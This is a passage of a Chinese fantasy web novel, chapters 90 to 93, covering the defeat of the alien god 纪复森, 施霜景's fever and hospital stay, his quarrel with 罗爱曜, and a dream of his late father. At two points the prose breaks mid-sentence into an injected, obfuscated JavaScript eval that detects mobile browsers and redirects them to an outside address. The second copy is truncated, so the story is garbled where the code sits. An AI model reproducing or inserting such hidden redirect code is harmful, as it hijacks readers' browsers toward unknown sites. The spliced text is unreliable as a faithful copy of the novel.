原来是这样。弱点。渴望。丑态。纪复森有没有想过,他三番两次借罗爱曜之手,想杀掉施霜景,那罗爱曜就会因此升级态势,更没有放过他的理由。 昆仑的山顶塌了几米,其下坠之势丝毫未减。溅起的尘与石被风一同卷入,更令纪复森的本体显形。那巨大的、涡流般的本体,不论出现在地球上还是出现在宇宙中,都极具迷惑性。祂身上的生物特征几乎等于没有,就连那些远星的异神都更比祂像是生物。 螺型剖面内的组织像天气,更像是一个个可以将生物吸碎并传送的微型的黑洞,呈隐蔽的蜂窝状。那道血线从螺心往外直直延伸,可以想见,纪复森带着庄乐犹如带着一颗祂无法消去的肿瘤。 只可惜庄晓完全不知道纪复森的弱点。纪复森知不知道自己的弱点都需要打个问号。祂没有自知之明。 突然,水面下传来叩叩的巨响。众人往脚下看去,只见水下缓缓显出山形,黑龙龙气击打水面,水面从郎放脚下裂出龙鳞般的冰纹。 乌云渐渐散去,月如银盘,巨佛端坐,其光耀有所控制,于众人眼中示现的是黑铜巨佛身,可在纪复森眼中则是琉璃本貌。水面即将破散,水下的昆仑已是西王母重置过的昆仑,神石堪堪聚成山形,可已是支离破碎,遭解体过了。 只听见一阵龙啸打破了天地寂静。一座铁莲宝座破水绽放,托举起战场边缘的人类,不见龙身,可举目仿佛皆见龙鳞,漆黑龙气均匀扩散在空间中。蒸腾的水汽一阵阵地往人类脸上扑去,巨石穿空,星击着倒悬的昆仑三角。 佛手作印,不仅是巨佛左右手结印,更见其身后佛之百手各示其法。 以庄晓的因果作刀,切开纪复森的蛛丝马迹。庄晓所见、所听、所看的一切都成为解剖纪复森的线索。这一下似乎切开了最本源的存在,不知是命中何处,可风眼的核心、螺眼忽然汩汩地逆流出了浆液,突兀且不知从何而来,就好像是祂螺状结构里那些只进不出的蜂窝结构失去了闭合的能力,这些超越时间与空间的秽物上溯,就此决堤。 90.旧日幸存者篇(四十二) 罗爱曜心狠手辣,决意要将纪复森就地绝杀。 就在此时,从螺状剖面逆流而出的这些黑浆仿佛有自己的意识,在空中滞留、汇聚,其毛茸茸的质感像培养皿的真菌。庄晓的喉咙里莫名漫出血味,他感到自己的肺部愈发难以获取空气。天边的圆月在不同质感的黑——黑鳞与黑浆之间透出一丝微弱的光芒,而所能见到的巨佛也是铜黑色的。眼前的种种越来越像是人刚刚闭眼所觉知到的黑暗。空中的碎石与击水不规律地交杂、盘旋,黑色浆液试图重新纠缠昆仑,不论是正置的三角还是倒悬的三角。 增城九重,其高几里?……日安不到?烛龙何照?*1……昆仑铜柱,其高入天。员周如削,肤体美焉*2……“纪复森试图启动昆仑,祂毕竟是将昆仑视作飞船。祂知道只要加以利用昆仑的超空间结构,说不定可以直接在地球上打出一个洞,将祂送往远星之外……”郎放的声音忽远忽近,即便他就在庄晓面前。 庄晓已经没办法说话了,每一丝空气都异常珍贵。郎放的话语并没有停止,大概是为了安抚庄晓,他会解释眼前发生的一切。 “如何对付纪复森这样的存在,我们没有经验,佛子也没有经验。纪复森究竟能不能被消灭也需要打个问号。你不要低头,西王母的真身正在水里看着我们,其形态是不可为人直视的神话种,看见了会影响你的命盘。你也不要抬头凝视月光旁的佛子铜金法身,他正在结印——眼前的黑色现在要叠加上地狱诸障难的显现,你切记,不可以摘下眼上的布。 “呼吸不畅是吗?多想想你曾经快乐的日子。这里的场太复杂了,不论是生理还是心理层面,人只会越来越难受。接下来我会帮你的。庄晓,把你的左手给我。 “你虽诸业缠身,但你已尽了责任。地狱现,但并不为你而来。呼吸,缓慢地呼吸,长长地吐气,不要害怕。回到回忆里。度过这段痛苦的时间。” 庄晓依稀看见了爷爷奶奶,他沉入回忆,将自己拔出痛苦的、混乱的时空边界。光是想起爷爷奶奶,想到这离家的八年……还是九年?记不清楚了,只记得他们都变得好老好老。去年夏天,庄晓回过A市,远远地瞧他们,爷爷跛脚走,奶奶则是走得更慢,奶奶已经用上了助行器。不能再拖了。庄晓这一生不能再对不起更多的人。他们还活着,A市那样热,老人却还穿着长袖,三十多度的天,怕冷怕出了心理上的毛病。他们会像庄晓担心他们是否还活着那样,也担心庄晓是否还活着。 你知道的,纪复森。我不避讳想到你了。至少在这一刻,这些回忆,你所给予的一切,你所收回的一切,我看过、听过、摸过甚至吻过的一切都成了线索。好像那些单纯因为想起你就唤起的疼痛,会顺着回忆的线路慢慢传送、转移给你。从此庄晓又澄澈空明。 短短几年的相处看尽你以亿为计的漫长一生。 凝滞的空气复又骚动起来,垂死挣扎似的。庄晓在郎放的指导下,沉入回忆,为罗爱曜打开更多的获取线索的通道,也保护了庄晓的精神状态。 他们已经完全看不见战场如何了。蒋良霖的黑鳞化为层叠的盾,也化为包裹莲台的球,龙鳞的缝隙内似乎能见到诡谲光亮正在演变。 纪复森不论怎样试图进入昆仑,都会被佛子的结印所一一抗拒、还原。水下的西王母以瑶池为分界,做一个安全距离的远程施法。纪复森从来都不是攻击的好手。纪复森此刻的恐惧忽然没顶,是从个位数拉到了无穷大,精神状态连环地坍缩了,所尝试伪装的一切都破灭了。佛子降妖伏魔经验不足,可思路清晰、动作明了,仍是有如庖丁解牛。纪复森的收藏都给倒空了,纪复森也几乎给倒空了,如果说祂在太古宙的新太古代初次拥有某种自我的模糊感受,那祂现在至少已经退回到了中元古代,也就是前寒武纪。荒凉的汪洋中发育着最最简单的真核生物,已经有了“宏观”的概念,即肉眼可见。 再往前会怎么样?迷茫、恐惧使得纪复森的本体不再能维持那扩散风眼一般的巨大形态。解体了。那些有关时空的蜂窝结构一股脑地崩溃、散落,将黑暗场景变成了微缩的宇宙景观。 纪复森无法穿过自己再带着自己离开这颗星球。原来祂吞噬的本质在于这个悖论。祂无法既是通往远星的拓扑连接,又将整个的自己带去祂的目的地。更何况祂没有目的地。 世界上最残忍的事莫过于欺骗这样的异神,说祂应该离开,却又于本质层面永远无法离开。纪复森是被人类的梦给骗了、同化了。从这一层面上来说,祂的不自由更甚于地球上任何有生命和无生命的不自由。不在地球也是一样,也可以是月球、土星、木星、冥王星……只是在那些星球上,没有造梦的条件,兴许祂还会更泰然地适应环境。 佛之百手其实是罗爱曜的伪装,和黑铜巨佛一样,都是更为“安全”的形态。他真正的结印方式是在琉璃法身的内部所进行的,数以亿计的晶石般的棱柱折出种种复杂印契,正是通过琉璃法身,罗爱曜才能处理这历史长得吓人的纪复森。人们所能看见的黑铜巨佛手印是琉璃法身印契的选择性表达。 罗爱曜感觉到,他对纪复森的处理已经差不多了。他无形无相无色的法身,至多将纪复森处理到这一地步。纪复森的本体解体,但无法完全剿灭。罗爱曜绝杀纪复森的念头落了空。 他于万千远星投射的残影中,辨识出属于纪复森的微弱光亮。如今祂只剩这么一点了,罗爱曜要么选择将现在的场景封印住,连通纪复森一起封印在内;要么选择彻底抹杀掉这些纪复森的“残肢”,放走纪复森那微弱的本体。 是吗,是吗。罗爱曜忽然又接收到另一个微弱的许愿。那就这样做吧。 蓝色陀罗尼被忽然拥有自己的意志,紧紧裹住庄晓与庄理安。莲台亦是有转移的趋势。有那么一瞬间,郎放感觉他们这些人都被封在箱内,快递到了另一处。 箱子打开,众人发现他们已回到了居民楼中的宝殿。宝殿形态一目了然,也完全熟悉。 蓝色陀罗尼被骤然消失,再一转头,发现它已回到密宗造像之上,安安稳稳盖着。罗爱曜从密宗造像后走来,双手托抱着已昏迷的施霜景。 郎放最担心施霜景的安危,也对罗爱曜最心虚。罗爱曜面色霜寒,嘴上倒是没多说什么,只是将施霜景放在密宗造像前的长桌上,作仅有主法者一人在场的仪式,仅为一个人。 转移宝殿是为了争取时间,尽早结束战斗也是为了争取时间。罗爱曜作真言密法的流程既简单又复杂。简单是在于他没 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不远处的施霜景发出动静,想从桌上下来,可他好像对自己的身体有些失控,也可能是虚弱,总之施霜景的动作很滑稽又很可怜,郎放立刻就去帮他了。 蒋念琅举手,“佛子,我能做什么吗?” “你不害怕?” “害怕!但我的害怕已经完了。现在是不害怕!” 罗爱曜看似心平气和,其实心里那枚火星落地,一地枯草狂烧,有一种遭牵连的愤怒,而且愈想愈愤怒,愈想不清楚愈愤怒。 施霜景对郎放说:“我没事……血?啊,我擦一下。没事的!我能看见!打完了吗?谁赢了?” “大概是我们赢了。良霖和西王母在收尾,佛子先回来了。” “刚才我睡着了,你一直在背我吗?”施霜景又问郎放。 罗爱曜回身,大步走回长桌前,一把推开郎放,郎放刚要发作,罗爱曜就怒目相看,大有一副“我们之后还有账要算”的恶相。 施霜景下意识要躲,可没躲开,罗爱曜单手捏住施霜景下巴,那么俗的动作承载了那么多的凡人怨忿,“你如此冲动无教、冥顽不灵,对你这条烂命不在意——如若不想活,干脆我杀了你。我本就不得涅槃,如今我也不想再试了。” 施霜景的怒意给罗爱曜这番话血淋淋地擦了出来,烧火柴似的,亮且烫。 “罗爱曜,你装什么?你难道不是拿我的冲动莽撞下套吗?你教我什么了?我和庄晓有什么区别?你对我说玩就玩、说杀就杀,你涅槃不涅槃还能关我什么事?你到底教我什么了?你什么都不告诉我。这些事除了我还有谁可以做?郎放吗?还是小鼓?” 施霜景被罗爱曜劈头盖脸一顿骂,那分钟其实根本不委屈,委屈是现在越说才越冒起来的浮泡,他还没说完,“你厌烦我的冲动,那你把我捆在柱子上啊!你什么都不说!你连让我‘留在原地别动’都不说!操,我还真以为我是特殊的,我混在你们这些人里面,我还以为我有点特殊……” 而且我还当真觉得,我有点喜欢你,你也有点喜欢我。 施霜景的眼眶红了。 *1:出自屈原《天问》 *2:出自《神异经·中荒经》 91.旧日幸存者篇(四十三) 这句心中的真怨怼,罗爱曜落不掉,听见了。 人怎么可以突然出现一个以前从未有过的想法?是罗爱曜遗漏了什么吗?“喜欢”,像是这类的情感难道不应该有预兆吗?一个人怎么能说出自己还没在心里打过草稿的想法,那么直接,像一瞬间通电似的? 这一霎的呆顿长得像一辈子。罗爱曜无言以对,他平时主意那么多、那么正,一点听不进去别人的解释,这里施霜景就算准备了一百句解释,罗爱曜也只会哂笑,放置这些屁话。 这下全完了,罗爱曜脑子里只剩施霜景的想法——“我还当真觉得,我有点喜欢你,你也有点喜欢我”。这是为三句。第一句代表施霜景现在已经推翻了这想法,后面的两句都是过去时,或者是急需改正的错误答案。第二句,施霜景有点喜欢罗爱曜,这句放在前面一定有其深意。第三句,罗爱曜也有点喜欢施霜景。难道这两句之间是因果关系?不对,爱情关系不是你有我才有的因果关系。是同步的吗?相互的、交错的、互为指引的?——“而且”,漏掉了“而且”这个转折词。必须要回到说出的话语中,“我还以为我有点特殊”…… 像罗爱曜这样做佛子的存在,以及人类中那些僧侣,琢磨语义是他们每天都在做的事,一种自动反应,一种惯性,一种不知道该做什么时就这么做的应对模式。 “佛子,什么都别在这里吵,我担心纪复森会趁人之危——”郎放出来劝架,他完全没想到罗爱曜会暴起并发出责难,不知道罗爱曜会不会进一步动手,竟然连杀了施霜景这种话都说得出来。 罗爱曜倒是有十分的能力应对除了施霜景外的其他人。他冰冷道:“纪复森已经没有趁人之危的能力了。除了没彻底抹除它,我也已经做了所有我分内的收尾工作。我没有妄语,前几次是我轻视了它,几次被纪复森坑害,我很长记性,这次让它彻底失能了。” 罗爱曜松手,施霜景觉得自己下巴都要被他卸掉了,心里想哭,下巴痛得也很想哭。下颌脱臼似的,好像回不去原来该在的位置。郎放上前帮忙查看,按了按施霜景的脸,稍稍使劲,把略有错位的筋骨推回去。佛子下手真狠,郎放心想。 那之后施霜景都没说话了,心里竟然也没有再下什么喜欢不喜欢之类的判断。他从供桌下来,找一个僻静角落,不和任何人坐在一起,像旁观者一样,乖乖待在角落。蒋念琅心思最敏感,特别想跑去找小景哥,抱抱小景哥,可佛子说蒋念琅或许可以试试,佛子没明说要试什么,只不过大人们都懂了。蒋念琅在变回龙之前,眼睛都还黏在施霜景身上。小景哥真像是被人揍花了脸,脸上血糊糊的,血干了就更可怜,像脸摔进泥汤里的脏小孩。 “你先回去。”罗爱曜对施霜景下命令。 施霜景扶着殿柱站起来,哪有可以选的余地,眨眼之间,施霜景就已经出现在房门之外,他长住的三楼之家,借去给庄晓暂住的家。 脚边斜斜地搭着他的书包,施霜景捡起来,连他都不记得书包是什么时候离了体。施霜景上楼,打开四楼自习室的门,玉米忽然喵喵大叫,施霜景忽然警惕,还以为是纪复森留了后手、跟他回家什么的。什么都不是。其实只是玉米闻到血腥味。 施霜景关门,俯身解鞋带,玉米老要往施霜景怀里钻,施霜景嫌自己身上脏,总觉得刚才经历过一场大战,十分晦气,强忍着没抱玉米。玉米忽的一伸爪,差点挠到施霜景的眼睛,猫爪勾住了绸布,顺势扯了下来。 染血蓝绸落地,猫爪尖锐勾出丝。 施霜景一对眼睛完好无损。 玉米少见地借后肢站起来,扒住施霜景肩膀的布料,好像要往施霜景身上爬。施霜景托住玉米,抱起来,感受小猫的体温,突然那略带有刺的舌头就舔了上来。玉米舔着施霜景脸上的血迹,好像要将这些血都舔干净,不让施霜景把这些晦气带回家一样。 哪能都舔干净呢?施霜景用衣袖继续揩脸,擦着擦着,这回是真的有泪意,很快大滴大滴的眼泪替他洗脸。玉米舔到咸味的眼泪,有所犹豫,最后它在施霜景怀里,看着施霜景用眼泪软化血迹,再用衣袖擦了个七七八八。血多,眼泪也多。 玉米用脑袋顶施霜景的脸,不小心顶到施霜景还在痛的下颌骨。施霜景不忍心推开玉米,抱起它一起回房间。 理智告诉施霜景,他应该去洗澡,把今天穿的所有晦气衣服全部扔掉,然后给猫放猫粮,再给自己放点粮。事情结束了,施霜景连过去了多少时间都不知道。 但施霜景太难过了,难过到把自己摔进床里,裹着被子就沉睡过去。就连在梦里,他的脸也湿哒哒的。到底哪来的眼泪啊?施霜景当然哭过,但那都是小时候了。 长大之后的他知道哭没有任何用,哭是脆弱的表现,所哭的所有人、事、物都一去不回,妈妈、爸爸、幸福的家庭、衣食无忧的生活、伙伴、机会、分数、尊严、安全感、归属感……如果不是这扇为施霜景打开的门又当着他的面被摔上,他不会哭。 太复杂了,恕施霜景根本不能想明白。 其实时间没有过去多久。他们处理纪复森大概花了六个小时,从上午到下午;处理庄理安和庄乐又花了三个小时,到暮夜时分。蒋良霖与杨慧处理昆仑,大约用了五个小时。 施霜景发起高烧,蒋良霖和郎放想帮忙,但有心无力,他们太累了。郎放不是很想同罗爱曜深谈有关施霜景的事,他的口才容易被罗爱曜压制。蒋良霖很早就脱离宝殿内的战局,不知道发生了什么事,郎放连对自己的老公都没力气再复述这一切。最终还是郎放多说了几句。 “佛子,是你把小景带进这些事里,不是他主动的。小景对你好,是最早接纳你的人,现在反而是你把他赶出去了。”郎放说。 “他难道觉得我会永远跟在他屁股后面,救他几十次、几百次吗?他是人,人经不起这样反反复复地送死又救回来!”罗爱曜难得动气,谁来和他谈这件事都是触他霉头。罗爱曜对施霜景的愚勇感到愤怒,可到底不想在谈生死的时候,轻飘飘地用“笨蛋”之类的词去概括施霜景。 “可是这次你就是借了小景的勇气,才找到机会抓住纪复森,你要承认。” “我承认不承认有什么用?教他下次还敢吗?” “佛子,我最后问你一件事,这大概是关键,请你诚实答复我——你到底有没有算计小景的反应,让他去做出头的炮灰?” 罗爱曜那双宝石般的蓝眼睛黯了片刻,诚实不难的,可既然不难,为什么有愧?“抓庄乐和它的阿赖耶识,只能靠他。宝殿里我只希望他什么都不要做,但我不知道,小景他在关键大事上的反应……很多时候都超出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534416|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的预言链条。我是看了因就知道果的人。如果小景是某种因,那我直到现在也没看透这个果。反之亦然。” 所以施霜景其实没说错。直觉让施霜景马上抓住了重点,痛驳罗爱曜。就连这反应也超出了罗爱曜的预料。 郎放露出“我就知道是这样”的表情,已经回家的蒋念琅冒头,郎放把她按回去,最后说道:“这说明即便小景只是人类,他也是很重要很重要的人类。他很容易信别人的话,会把你不讲理的气话当真。” “知道了。” “大家都要休息,庄晓他们也要休息。我们之后再聚。” “好。” 甫一进房间,罗爱曜就发现施霜景烧到四十度,人都要给烧傻了。蒋良霖好巧不巧,正敲响了门,他忘记把杨慧的信物给罗爱曜了。 听闻施霜景发烧的消息,蒋良霖和郎放再次同步做出“我就知道会这样”的表情。他们原本想让蒋念琅过来随手治一下,可罗爱曜拒绝,因为施霜景的人类之身没办法在一天之内承受太多外来的力,最好还是用人类的办法治。 这侧面说明了施霜景在宝殿中直视密教像是多残酷的一件事。罗爱曜替施霜景治过大大小小的伤,濒死的刀伤都瞬发治好了。如今罗爱曜担心施霜景过载,只能背施霜景下楼,将他放进车里,开车送他去医院。 护士卷起施霜景的衣袖,要替施霜景扎针,“衣袖上是血吗?怎么回事呀?”护士非常警觉。 “他白天的时候好像流了好几次鼻血。”罗爱曜撒谎道。 “那要加检查吧?我让医生再来一趟。” 罗爱曜没反对。施霜景躺在留观病床上,从家里到医院,施霜景没醒过一次。医生给的初次诊断是高烧晕厥,病因有待排查,先退烧处理。 医生问罗爱曜,你是病人的谁?这要记入档案的,现在医院都要登记送医人。 罗爱曜是施霜景的谁呢?罗爱曜的身份已经复杂到笑话地步。金主,家教,假装的亲戚,不像长辈的长辈,但他又要施霜景反过来照顾他……看似是拯救者,其实是拉施霜景入局的罪魁祸首……“我有点喜欢你,你也有点喜欢我”,如果这句话成真,就是爱人。 施霜景希望我是什么身份? “他是我爱人。” 医生顿了顿,“我可不能这么如实登记,我就记你是病人的朋友了。” 罗爱曜陪在病床前,因为施霜景晕厥过去,脑子里看无可看,罗爱曜只能翻找他自己与施霜景互动的那些回忆,他们共同创造的那些回忆。没有,没有哪次罗爱曜真的“读到过”施霜景的感情。这是第一次。 罗爱曜意识到,他好像是个很坏的人。把对别人的利用也当自己的强大,自负到令人嗤之以鼻的地步。施霜景既然都能总结出这种种利用,却也只是想,我喜欢他,他也喜欢我。 这样下去是不行的啊。罗爱曜抬手,调低了输液滴速。他摸到施霜景的手腕好冰,这让他想起下午那一战,施霜景比之前任何一次都更接近死亡,纪复森再一次用罗爱曜当刀,要杀死施霜景。罗爱曜轻轻揉搓着施霜景的手腕,帮他回温。 于罗爱曜而言,这一战在施霜景回到罗爱曜怀中那一刻就已经结束了。心不在战场上。所有的一切都无所谓。心识失落,无虚无实。万法迷途,佛生嗔痴。 92.今天是我没有控制好脾气,对不起 半夜四点,施霜景终于睁开眼睛。医院的白炽灯彻夜不休,墙、床帘、灯都一片白皑皑,施霜景没有睡病床的经历,陌生至此,一转头看见罗爱曜靠坐在漆成白色的木椅上,正闭目养神。施霜景看过去,罗爱曜就睁眼。 大约凌晨两点的时候,施霜景的体温就回落到三十八度左右,医生说先不继续输液了,护士便拔了针头,撤走吊瓶。施霜景的手背上粘着止血用的医用胶布。 “你烧到四十度,晕过去了。”见施霜景不打算主动说话,罗爱曜破冰。 罗爱曜是听人许愿的佛子,而许愿的场合里,至少三分之一是为生病的亲朋好友求一点顺利。他的法身提前五年苏醒,为的就是观、听、想,见过信徒如何照料病人,因此学会了调输液滴速、调床头高度、调自己的时间和手上的待办事项。这世界早已不一样了,罗爱曜以他的方式适应。 摇起床头,拧开水瓶。施霜景接过罗爱曜递过来的水,有如牛饮,他的嗓子干得冒烟,发烧仿佛给他的喉咙烧出了许多个疮口。 “怎么会来医院?”施霜景歪头看罗爱曜,说不好是在打量罗爱曜还是在打量病房,“你不是可以帮我治吗?” “你看了我的密教像,我花了很大力气才把你救回来,人类身体不能承受那么大的伤害和治疗。接下来一段时间,你的小病小痛都要用寻常方法解决。” “哦……” “水瓶给我。” 施霜景递水瓶给罗爱曜,觉得手背痒痒的,才发现手背上的胶布。血早已止住了,施霜景揭下胶布,折叠着玩。尴尬,沉默,不知道说什么。施霜景是睡一觉就把伤心难过都忘在脑后的人。 “你有没有什么想检查的?” 这么问当然是没有。施霜景摇头。罗爱曜没有按铃,而是起身去找护士。护士过来给施霜景量体温,期间罗爱曜随意地与护士聊天,活像是变了一个人。罗爱曜会问医院附近的房价怎么样,会问这附近有没有什么好吃的,会问最近快到年底了是不是床位很紧张。罗爱曜生得好看,护士就乐意多说点,反正值夜班无聊。 体温显示三十七度八,已经安全了。准确地说,他们是在发热门诊的留观病房,不能长住,烧退了就得挪窝。护士打着哈欠去问医生,医生过来再确认了一下,就签字表示可以离院了,如果要做更细致的检查,请在上班时候挂相应门诊。 施霜景对罗爱曜的假热络很好奇,“你刚才为什么问护士那些问题?” “因为尴尬。”罗爱曜说,“病房里太安静,你和我都尴尬。” 可是罗爱曜点破了,施霜景此刻就延续了刚才的尴尬啊。施霜景拉上外套拉链,戴上外套帽子,无言了。罗爱曜去开车,雪亮车头灯从停车场的西北角一路亮过来,是施霜景之前坐过的那辆雷克萨斯。 罗爱曜带施霜景来的是省人民医院,离家比较近,他们开车回励光厂大概五十分钟。车里施霜景吹着暖风又睡过去,帽子掩着眼睛,非常好睡。日子也是好起来了,生病竟然有人开车接送。等回到家的时候,施霜景主动说:“佛子你辛苦了,现在天都快亮了,赶紧睡吧。” 施霜景犹豫要不要去洗澡,罗爱曜摇头,“上来一起睡。现在洗澡,你明早会继续发烧。”施霜景只能去简单洗漱,仔仔细细用热毛巾将脸和脖子都擦了好几遍。 两人有某种粉饰太平的默契。罗爱曜一晚上没有用他惯用的阴阳怪气语调,施霜景就归因为罗爱曜真的累了。至于施霜景,他本来话就不多。脑子刚烧过一轮,就连想法都不多,暂时什么都不愿意多想了。 罗爱曜带施霜景去医院之前没关空调,不,其实从他们暂时搬上楼来之后,家里就几乎很少关空调。就算人不吹空调,猫也需要热风啊。玉米幽幽醒转,站在床上看施霜景换衣服。他今天这一身确实要全部扔掉,施霜景故意穿了旧衣。罗爱曜从衣柜里取出滑凉凉的真丝睡衣,施霜景穿棉的。躺进被子之前,施霜景低声问:“事情全都解决了吗?庄晓的事也全部解决了吗?” 施霜景的语气里有一丝很难察觉的遗憾。这事件,他从头跟到尾,那样危险、诡谲、怪奇的开始,中间经历了如此多的惊心动魄,最后却草草收尾。说不遗憾是假的。 “差不多了。庄晓和他儿子要休息一阵。我们预计会在年前一起吃顿饭,之后郎放一家和庄晓父子都会离开。” “好快啊。那他们还会回来吗?” “不知道。” 罗爱曜仰面躺下,施霜景背对罗爱曜。玉米去喝水了,家里太寂静,他们都听见玉米的舌头啪嗒啪嗒拨水的声音。没过多久,玉米回卧室,钻到施霜景怀里,要施霜景抱着它睡。今晚它倒是阵营鲜明。施霜景发烧时睡太多,似乎影响他接下来的睡眠了,很难马上睡着,又不敢玩手机,怕光亮影响罗爱曜的睡眠,只能抚摸玉米的软毛,听玉米喉间发出的咕噜声。 与罗爱曜同居好几个月了,施霜景从来无梦。可今晚,他久违地梦见施楼庭。是因为见到病床,唤起当时陪父亲临终的回忆吗?施霜景其实更愿意记得施楼庭健康的模样,所以他梦见的是健康的施楼庭。 施霜景从来都不是正经的D市人。他和施楼庭以前住在Y市,靠近凉山彝族自治州。施霜景身份证上的民族其实是彝族,他实打实是个彝族帅小伙。施霜景记得施楼庭是开店的,忘记他究竟做什么生意了,可施霜景四岁之前从来没有少吃过零食糖果。旧家的电视柜里有他的零食箱子,不绿不蓝的塑料箱,里面一年四季都补满了各种小包零食。钱币一样的巧克力,各种水果味的软糖,肉干、豆干、果干和饼干,膨化零食在另一个柜子里。施霜景常常觉得,是他太小的时候就吃尽了这辈子该吃的零食,长大之后才对零食一点想法都不剩了。没有也不馋,因为小时候他吃了很多。 他是双性人,可施楼庭从来不特别处理他的性别,也可能是施楼庭根本没活到能教小孩子性别问题的年纪。施霜景不记得施楼庭具体如何措辞,但他有非常深刻的印象。施楼庭总说:你是爸爸妈妈的宝贝,你只要能健康长大就好了。以后能长多高、聪不聪明、会有什么样的未来,都不影响爸爸妈妈爱你。你要记得啊,爸爸妈妈爱你,不管你变成什么样,我们都爱你。这是妈妈要爸爸经常对你说的。爸爸还想说,你要坚强。你很像妈妈,你的妈妈就很坚强。爸爸妈妈都爱你,都希望你好。只要你好,我们就安心了。 爸爸的店还在的时候,他经常这么说。爸爸的店卖掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施霜景小心翼翼地啃排骨,好烫。施楼庭的声音传来,“哟,幺儿啥子时候这么能吃辣了?不流眼泪、流鼻涕了?我还说点个小锅就算了,这么辣你又吃不了几块……我开玩笑的!服务员,再加一份排骨!” 是长大的施霜景很能吃辣。小人的施霜景是长大的施霜景在梦中的具象。施霜景看着老爸吃个火锅瞎忙,施楼庭的性格很能来事,有时甚至咋咋呼呼的,典型的S省男人调性。别看施楼庭这样,他好歹也是个大学生,不然不能娶到妈妈。之前施楼庭开的店更大、更多,为了救卓瑜,大店小店都卖掉。卓瑜是施霜景的妈妈,患胰腺癌过世。 “多吃点,吃肉长高。还要不要豆奶?饭也是要吃的。蔬菜下进干锅里太辣了,不许吃。” “长得乖乖的,怎么就是不喜欢说话?这点你没有遗传到爸爸。不过你妈妈也这样,你是遗传妈妈了。” “我好想你妈妈啊。” “你啥子时候来看看爸爸?爸爸也想你了。” 闹钟响起。施霜景摸黑关闹钟。原来是个短梦。他连一个小时都没有睡到,竟然连干锅排骨的味道都梦见了。 梦是新鲜的,记忆也是新鲜的。爸爸,我也想你了。也想妈妈。好久没去看你们,所以你们才来梦里找我吧。也是,快过年了,一家人是该聚一聚。 腰间一只手忽然搂紧。 “不许玩手机,继续睡觉。”罗爱曜说。 “我梦见爸爸了。” “是吗,他怎么说?” “他说他想我了,让我去看他。” “活人没办法去看死人,除非活人死了。” “……他的意思是扫墓。” “是么?不管,先睡觉,好好养病。”罗爱曜感受着施霜景颈间的体温,“你很努力,很棒。今天是我没有控制好脾气,对不起。” 93.喜欢管钱 施霜景没有马上就回应罗爱曜。那一句“对不起”正贴着施霜景的脖子,往他脑后、耳朵里钻,施霜景不可能没听见。不。没有那么简单。但也没有那么麻烦。施霜景只觉得不可以趁他病就打马虎眼。 说施霜景喜欢皮肤接触,可罗爱曜也不遑多让,贴得那么紧,对体温、皮肤、肢体接触有瘾似的。一个愿打一个愿挨。玉米都比他们更有理智,知道热了要钻出被窝。它大吸几口二十二度的干燥空气,再一转头,被窝里鼓囊囊的,玉米隔着被窝往人身上踩,像爬小土坡。玉米爬上爬下好几轮,罗爱曜探头出来,和玉米对视,伸手敲了敲自己身侧,让玉米过来睡,不许打扰他们补觉。窗帘外已隐隐约约透光,天大亮了。 白天施霜景的体温有所反复,在低烧区间内,医生昨天有叮嘱过,反复低烧超过四十八小时就再来挂号,如果情况不严重,配合吃退烧药即可。 他们这一行人为了解决纪复森,简直是累惨了。罗爱曜是主法者,在与纪复森的对峙中,出力比例百分百。其他人是有些能力,但并不能直接伤害纪复森。罗爱曜试过一回这所谓的“降妖伏魔”,心里疲惫不堪,打定主意下次不再干这种事了。这原本就与他没有直接干系。 更何况罗爱曜看出来了,与其说是罗爱曜利用施霜景,不如说施霜景有他出现在此时此地的理由。好几个月过去了,就连罗爱曜自己都没能参透,他给施霜景当金主、当家教,打出一些夺命的配合,罗爱曜有获益,在因果是非之地,做涅槃的准备——那施霜景呢?施霜景的好处在哪里?施霜景这条小命被翻来覆去地折腾,做英雄,大无畏。罗爱曜不喜欢这种受力的感觉,被推着见到不想见的情景,做不想做的事。这之后必须好好考虑。 施霜景出现在罗爱曜生命中这一过程本来就蹊跷。有点担心是暗算,可细细琢磨一下,罗爱曜始终不觉得施霜景很“危险”,罗爱曜没有那种入套的感觉。 自从给施霜景开始补课,罗爱曜的法身没有一分钟不在做事,加大功率吸收人世间的知识,有体系的、没体系的,统统了解,统统学。今天罗爱曜法身下线,强制休息,睡了个昏天黑地,家里佛龛前直接不插香,一众信徒家里的香甚至无法点燃,知道这是佛子不工作的信号。 从白天睡到黑夜,再从黑夜睡到白天。施霜景期间醒过两回,懒在被子里,点外卖、吃外卖、吃药……行云流水做完,再躺回床上。罗爱曜跟施霜景同步醒、同步睡,就连施霜景都觉得有些莫名其妙。 第三天,施霜景终于再也不发烧了,罗爱曜也终于觉得自己充电完毕,可以点香,重新上工。 “再不学习就要过年了。”施霜景仰躺,痴痴地望着天花板,“过年没心思学,再一磨蹭就到三月了……不行,还是要学。”他那二百八的一诊!二本线四百五,一本线五百四。考不到四百分连个大专都没戏!施霜景一骨碌坐起来,目眩几秒,定神,胸中充满干劲,吃好睡好感觉就是不一样! “张国强在群里说,这次一诊的题偏难。你能考二百八,非常不错,值得鼓励。”罗爱曜闲闲地鼓掌。 施霜景又有点不好意思地摸摸脑后。他的头发长长了些,差不多一个半月没去理发,施霜景不喜欢那些高中男生遮眉遮眼的发型,会修理得偏短。施霜景有点想在年前剪个头,可前段时间刘奶奶无意提了一句,她觉得施霜景留一留头发,会比现在更帅。 从前施霜景对自己的外貌不甚在意,没有那个在意的条件和资格。如今身边天天睡着这位佛子,像杂志上剪下来的,非常会打理自己,搞得施霜景都顺带在意起自己的形象来。 